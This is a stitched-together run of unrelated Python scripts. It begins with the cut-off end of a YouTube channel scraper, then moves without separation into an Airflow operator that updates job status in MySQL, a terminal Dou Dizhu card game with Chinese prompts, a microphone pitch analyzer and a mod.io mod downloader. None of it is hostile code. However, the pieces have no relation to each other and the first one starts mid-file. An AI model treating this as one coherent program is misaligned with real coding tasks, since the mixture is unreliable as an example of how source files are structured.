	#df = scrape_channel('https://www.youtube.com/channel/UCYO_jab_esuFRV4b17AJtAw/videos')
	#df = pd.read_csv('test.csv')
	#download(df)
	update_channel('https://www.youtube.com/channel/UCYO_jab_esuFRV4b17AJtAw/videos', 'test.csv')

if __name__ == '__main__':
	main()


import logging

from airflow.models import BaseOperator

from custom_operator.constants import constant_queries
from custom_operator.enums.node_status_enum import NodeStatus
from custom_operator.repos.mysql_repository import MySqlRepository
from custom_operator.utilities.config_util import ConfigManager
from custom_operator.utilities.notification_util import Notification

job_name = 'DagInitialization JOB'

class DagInitializationOperator(BaseOperator):

    def __init__(self, db_conn_id, job_id, *args, **kwargs):
        super(DagInitializationOperator, self).__init__(*args, **kwargs)
        self.db_conn_id = db_conn_id
        self.job_id = job_id

    def execute(self, context):
        """
        Executes logic of DagInitializationOperator operator
        :param context: Context of airflow
        :return:
        """
        logging.getLogger(job_name).info("Execution started for job - {}".format(self.job_id))
        db_conn = ConfigManager().get_connection_config(self.db_conn_id)
        mysql = MySqlRepository(db_conn)
        try:
            dag_record = mysql.fetch_one_record(constant_queries.fetch_dag_query.format(self.job_id))
            if dag_record is None:
                raise Exception("Job not found for the given job Id ")
            logging.getLogger(job_name).info("Updating job status to RUNNING for job - {}".format(self.job_id))
            mysql.execute_query(constant_queries.update_dag_status.format(NodeStatus.RUNNING.value,
                                                                          self.job_id))

        except Exception as ex:
            logging.getLogger(job_name).error("DAG initialization failed for dag_id {0} with error - {1}".format(self.job_id, str(ex)))
            raise ex


from ai import *
from board import *
from card import *
from cardtype import *
from format import *
from legal import *
from player import *
from sond import *

SYSTYPE = platform.system()
#Convert JQKA2 into 12345 stuff
def calcPoint(winPlayer,player,allpoint):
    addAmount = 1.0 if winPlayer.isLandlord else 0.5
    addOrMinus =1 if winPlayer.isLandlord == player.isLandlord else -1
    player.score += int(allpoint * addAmount * addOrMinus)
def recognizable(lst):
        _dict = {'8': 8, '10': 10, '6': 6, '9': 9, '7': 7, '5': 5, '3': 3, '4': 4,'J':11,'Q':12,'K':13,'A':14,'2':15,'joker':16,'JOKER':17,'j':11,'q':12,'k':13,'a':14}
        res = lst[:]
        if len([x for x in res if not x in _dict]) != 0:
            return [3,4] #just a invaild handing
        return [_dict[x] for x in res]

def substr(strlst,x,y,string):
    for foo in range(x,x+len(string)):
        strlst[y] = subst(strlst[y],foo,string[foo-x])

os.system("cls") if SYSTYPE == "Windows" else os.system("clear")
process = play("BGM.wav")
print("""
             _   _
 _ __  _   _| |_| |__   ___  _ __
| '_ \| | | | __| '_ \ / _ \| '_ \
| |_) | |_| | |_| | | | (_) | | | |
| .__/ \__, |\__|_| |_|\___/|_| |_|
|_|    |___/
     _                 _ _     _
  __| | ___  _   _  __| (_)___| |__  _   _
 / _` |/ _ \| | | |/ _` | |_  / '_ \| | | |
| (_| | (_) | |_| | (_| | |/ /| | | | |_| |
 \__,_|\___/ \__,_|\__,_|_/___|_| |_|\__,_|

欢迎来到斗地主
本程序由公众号：早起python 整理
请勿用于任何商业用途。
""")
while True:
        people = input("请输入你想几个人玩")
        if people == "license":
            print("""
本程序由Frank Blackburn and LeBron Jones制作，公众号：早起python 整理

Copyright (C) [2017] [Frank Blackburn and LeBron Jones]

""")
        elif '1'<=people<= '3':
            break

BOARDHEIGHT = 25
BOARDLENGTH = 65
card = card()
landlordCard = poker() #to display color
handingstr = 0
handing = []
handingWcolor = poker()
previousHandingWcolor = poker()
previousHanding = []
previousHandingPlayer = 0
lastHumanPlayer = 0
py1 = 0
py2 = 0
py3 = 0
currentplayer = py1
boa =board()
#landlord
#now assign player.
#I can't find a way to abstract this stuff. I'll just write hard codes.

Flag = True
if people == '3':
    while Flag:
            print("Shuffling...")
            card.shuffle()
            py1 = player(False,py3,py2,card.handOut(0))
            py2 = player(False,py1,py3,card.handOut(1))
            py3 = player(False,py2,py1,card.handOut(2))
            py1.resetPlayer(py3,py2)
            py2.resetPlayer(py1,py3)
            py3.resetPlayer(py2,py1)
            py1.cards.sort()
            py2.cards.sort()
            py3.cards.sort()
            currentplayer = py1
            lastHumanPlayer = py1
            for count in range(1,4):
                    boa.draw(lastHumanPlayer,lastHumanPlayer.previousPlayer,lastHumanPlayer.nextPlayer,[],BOARDLENGTH,BOARDHEIGHT)
                    p = input("Player"+str(count)+" 你想抢地主吗(Y/n)")
                    if p.lower() == 'y':
                            currentplayer.isLandlord = True
                            currentplayer.cards.addCard(card.handOut(3))
                            lastHumanPlayer = currentplayer
                            Flag = False
                            break
                            #reshuffle if nobody wanna be landlord
                    else:
                            currentplayer = currentplayer.nextPlayer
                            #this is like a linked list

if people == '2':
    while Flag:
            print("Shuffling...")
            card.shuffle()
            py1 = player(False,py3,py2,card.handOut(0))
            py2 = player(False,py1,py3,card.handOut(1))
            py3 = aiPlayer(False,py2,py1,card.handOut(2))
            py1.resetPlayer(py3,py2)
            py2.resetPlayer(py1,py3)
            py3.resetPlayer(py2,py1)
            py1.cards.sort()
            py2.cards.sort()
            py3.cards.sort()
            currentplayer = py1
            lastHumanPlayer = py1
            for count in range(1,4):
                    boa.draw(lastHumanPlayer,lastHumanPlayer.previousPlayer,lastHumanPlayer.nextPlayer,[],BOARDLENGTH,BOARDHEIGHT)
                    if (isinstance(currentplayer,aiPlayer)):
                        p = currentplayer.beLandlord()
                    else:
                        p = input("Player"+str(count)+" 你想抢地主吗?(Y/n)")
                        lastHumanPlayer = currentplayer
                    if p.lower() == 'y':
                            currentplayer.isLandlord = True
                            currentplayer.cards.addCard(card.handOut(3))
                            Flag = False
                            break
                            #reshuffle if nobody wanna be landlord
                    else:
                            currentplayer = currentplayer.nextPlayer
                            #this is like a linked list

if people == '1':
    while Flag:
            print("Shuffling...")
            card.shuffle()
            py1 = player(False,py3,py2,card.handOut(0))
            py2 = aiPlayer(False,py1,py3,card.handOut(1))
            py3 = aiPlayer(False,py2,py1,card.handOut(2))
            py1.resetPlayer(py3,py2)
            py2.resetPlayer(py1,py3)
            py3.resetPlayer(py2,py1)
            py1.cards.sort()
            py2.cards.sort()
            py3.cards.sort()
            currentplayer = py1
            lastHumanPlayer = py1
            for count in range(1,4):
                    boa.draw(lastHumanPlayer,lastHumanPlayer.previousPlayer,lastHumanPlayer.nextPlayer,[],BOARDLENGTH,BOARDHEIGHT)
                    print("DEBUG",isinstance(currentplayer,aiPlayer))
                    if (isinstance(currentplayer,aiPlayer)):
                        p = currentplayer.beLandlord()
                    else:
                        p = input("Player"+str(count)+" 你想抢地主吗?(Y/n)")
                        lastHumanPlayer = currentplayer
                    if p.lower() == 'y':
                            currentplayer.isLandlord = True
                            currentplayer.cards.addCard(card.handOut(3))
                            Flag = False
                            break
                            #reshuffle if nobody wanna be landlord
                    else:
                            currentplayer = currentplayer.nextPlayer
                            #this is like a linked list

print("底牌: ")
landlordCard.addCard(card.handOut(3))
landlordCard.sort()
print(landlordCard.displable())
input()
currentplayer.cards.sort()
boa.draw(lastHumanPlayer,lastHumanPlayer.previousPlayer,lastHumanPlayer.nextPlayer,[],BOARDLENGTH,BOARDHEIGHT)
previousHandingPlayer = currentplayer
#play!
while(not len(currentplayer.previousPlayer.cards) == 0):
        os.system("cls") if SYSTYPE == "Windows" else os.system("clear")#Not supporting non-POSIX
        if previousHanding != [] and previousHandingPlayer == currentplayer.previousPlayer:
            if cardtype(previousHanding)[0] == 'bomb':
                boa.baseMul(2)
            if cardtype(previousHanding)[0] == 'rocket':
                boa.baseMul(4)
        boa.draw(lastHumanPlayer,lastHumanPlayer.previousPlayer,lastHumanPlayer.nextPlayer,previousHandingWcolor.displable(),BOARDLENGTH,BOARDHEIGHT)
        if isinstance(currentplayer,aiPlayer):
            handingstr = letterCard(expand(currentplayer.pickCard(previousHandingPlayer,previousHanding,currentplayer.nextPlayer)))
            input()
        else:
            handingstr = input("请输入你想出的牌，并将每张牌以空格分开")
            lastHumanPlayer = currentplayer
        handing = formatter(recognizable(handingstr.split()))
        os.system("cls") if SYSTYPE == "Windows" else os.system("clear")
        handingWcolor.cards = currentplayer.cards.autoMatch(handing)
        if previousHandingPlayer == currentplayer:
            previousHanding = []
        if len(handing) == 0:#not handing anything
            if previousHandingPlayer != currentplayer:
                #boa.easydraw(currentplayer,currentplayer.previousPlayer,currentplayer.nextPlayer,["pass"])
                input("不是您的回合，请按下 ENTER .")
                currentplayer = currentplayer.nextPlayer
            else:
                input("必须按下回车继续游戏.")
        elif previousHanding == []:#first handing player
            if cardtype(handing) != -1 and handingWcolor.cards != -1:
                #boa.easydraw(currentplayer,currentplayer.previousPlayer,currentplayer.nextPlayer,handingWcolor.displable())
                currentplayer.cards.delCard(handingWcolor.cards)
                previousHandingPlayer = currentplayer
                previousHanding = handing
                previousHandingWcolor.cards = copy.deepcopy(handingWcolor.cards)
                currentplayer = currentplayer.nextPlayer
                os.system("cls") if SYSTYPE == "Windows" else os.system("clear")
                input("不是您的回合，请按下 ENTER.")
            else:
                input("错误! 请按下回车.")
        else:#This can only be follow-up
            if cardtype(handing)!= -1 and legal(previousHanding,handing) and handingWcolor.cards != -1:
                #boa.easydraw(currentplayer,currentplayer.previousPlayer,currentplayer.nextPlayer,handingWcolor.displable())
                currentplayer.cards.delCard(handingWcolor.cards)
                previousHandingPlayer = currentplayer
                previousHandingWcolor.cards = copy.deepcopy(handingWcolor.cards)
                previousHanding = handing
                currentplayer = currentplayer.nextPlayer
                os.system("cls") if SYSTYPE == "Windows" else os.system("clear")
                input("请按下回车让下一位用户出牌.")
            else:
                input("请按下回车.")
calcPoint(currentplayer.previousPlayer,currentplayer.previousPlayer,board.basepoint * board.dup)
calcPoint(currentplayer.previousPlayer,currentplayer,board.basepoint * board.dup)
calcPoint(currentplayer.previousPlayer,currentplayer.nextPlayer,board.basepoint * board.dup)
print("你的上家得分:",currentplayer.previousPlayer.score)
print("你的得分是:",currentplayer.score)
print("你的下家得分是:",currentplayer.nextPlayer.score)
stop(process)


import copy
from pyaudio import PyAudio, paInt16
from threading import Thread
import numpy as np
import sys

class AudioAnalyzer(Thread):
    SAMPLING_RATE = 48000
    CHUNK_SIZE = 1024
    BUFFER_TIMES = 50
    ZERO_PADDING = 3
    NUM_HPS = 3

    NOTE_NAMES = ['C', 'C#', 'D', 'D#', 'E', 'F', 'F#', 'G', 'G#', 'A', 'A#', 'B']

    def __init__(self, queue, *args, **kwargs):
        Thread.__init__(self, *args, **kwargs)

        self.queue = queue
        self.buffer = np.zeros(self.CHUNK_SIZE * self.BUFFER_TIMES)
        self.hanning_window = np.hanning(len(self.buffer))
        self.running = False

        try:
            self.audio_object = PyAudio()
            self.stream = self.audio_object.open(format=paInt16,
                                                 channels=1,
                                                 rate=self.SAMPLING_RATE,
                                                 input=True,
                                                 output=False,
                                                 frames_per_buffer=self.CHUNK_SIZE)
        except Exception as e:
            sys.stderr.write('Error: Line {} {} {}\n'.format(sys.exc_info()[-1].tb_lineno, type(e).__name__, e))
            return

    @staticmethod
    def frequency_to_number(freq, a4_freq):

        if freq == 0:
            sys.stderr.write("Error: No frequency data. Program has potentially no access to microphone\n")
            return 0

        return 12 * np.log2(freq / a4_freq) + 69

    @staticmethod
    def number_to_frequency(number, a4_freq):
        return a4_freq * 2.0**((number - 69) / 12.0)

    @staticmethod
    def number_to_note_name(number):
        return AudioAnalyzer.NOTE_NAMES[int(round(number) % 12)]

    @staticmethod
    def frequency_to_note_name(frequency, a4_freq):
        """ converts frequency to note name (for example: 440 returns 'A') """

        number = AudioAnalyzer.frequency_to_number(frequency, a4_freq)
        note_name = AudioAnalyzer.number_to_note_name(number)
        return note_name

    def run(self):
        """ Main function where the microphone buffer gets read and
            the fourier transformation gets applied """

        self.running = True

        while self.running:
            try:
                data = self.stream.read(self.CHUNK_SIZE, exception_on_overflow=False)
                data = np.frombuffer(data, dtype=np.int16)

                self.buffer[:-self.CHUNK_SIZE] = self.buffer[self.CHUNK_SIZE:]
                self.buffer[-self.CHUNK_SIZE:] = data

                magnitude_data = abs(np.fft.fft(np.pad(self.buffer * self.hanning_window,
                                                       (0, len(self.buffer) * self.ZERO_PADDING),
                                                       "constant")))
                magnitude_data = magnitude_data[:int(len(magnitude_data) / 2)]

                magnitude_data_orig = copy.deepcopy(magnitude_data)
                for i in range(2, self.NUM_HPS+1, 1):
                    hps_len = int(np.ceil(len(magnitude_data) / i))
                    magnitude_data[:hps_len] *= magnitude_data_orig[::i]  # multiply every i element

                frequencies = np.fft.fftfreq(int((len(magnitude_data) * 2) / 1),
                                             1. / self.SAMPLING_RATE)

                for i, freq in enumerate(frequencies):
                    if freq > 60:
                        magnitude_data[:i - 1] = 0
                        break

                self.queue.put(round(frequencies[np.argmax(magnitude_data)], 2))

            except Exception as e:
                sys.stderr.write('Error: Line {} {} {}\n'.format(sys.exc_info()[-1].tb_lineno, type(e).__name__, e))

        self.stream.stop_stream()
        self.stream.close()
        self.audio_object.terminate()


import requests
from zipfile import ZipFile
import os

def main():
    # Get the user's API key. Ask for the key if existing key not found. Save it in a text file. DO NOT SHARE THE TEXT FILE!
    apikey = ""
    try:
        keyfile = open("apikey.txt", "rt")
    except FileNotFoundError as e:
        print("apikey.txt not found, creating")
        keyfile = open("apikey.txt", "tx")
        keyfile.close()
        print("Get your API key and paste it into apikey.txt, and run this script again\n"\
              "Link to get your API key:\nhttps://mod.io/me/access")
        return

    apikey = keyfile.read()
    keyfile.close()
    if len(apikey) == 0:
        print("Invalid API key in apikey.txt")
        return
    print("API key read\n")

    # DRG mod.io page: https://mod.io/g/drg

    # Get the DRG game ID from the API in case it chances in the future
    rq = requests.get(
        "https://api.mod.io/v1/games?api_key={}".format(apikey)
        )
    if (not rq.ok):
        print("API request failed. Check your API key. Request status code", rq.status_code)
        return

    resp = rq.json()
    games = [x for x in resp["data"]]
    game_id = ""
    for x in games:
        if x["name_id"] == "drg":
            game_id = x["id"]
            print("DRG game ID found:", game_id)

    if (game_id == ""):
        print("DRG game ID not found. API response style has probably changed.")
        return

    # Ask for the mod ID
    while True:
        mod_id = input(
            "Give the ID of the mod here. The ID should look something like 2749417," \
            " and is found under Resource ID in the mod page." \
            " CTRL + C or empty input to stop.\n").strip()  # Remove whitespace
        if mod_id == "":
            return

        rq = requests.get(
            "https://api.mod.io/v1/games/{}/mods/{}?api_key={}".format(game_id, mod_id, apikey))
        if (not rq.ok):
            print("Mod fetching failed. Check the mod ID.")
            continue

        mod = rq.json()

        # Print direct download link
        dl_link = mod["modfile"]["download"]["binary_url"]
        mod_name = mod["name"]
        file_name = mod["modfile"]["filename"]
        print("Mod \"{}\" download link:\n{}\n".format(mod_name, dl_link))

        print("Downloading mod...")
        rq = requests.get(dl_link)
        if (not rq.ok):
            print("Failed to download")
            return
        if not os.path.exists("downloaded/"):  # Create "downloaded" directory
            os.mkdir("downloaded/")
        if not os.path.exists("temp/"):
            os.mkdir("temp/")
        with open("temp/{}".format(file_name), "w+b") as f:
            f.write(rq.content)

        print("Mod zip downloaded, extracting...")
        zf = ZipFile("temp/{}".format(file_name))
        zf.extractall("downloaded/")
        zf.close()

        print("Mod extracted, deleting zip...")
        os.remove("temp/{}".format(file_name))

        print("Done\n")

try:
    main()
except KeyboardInterrupt:
    pass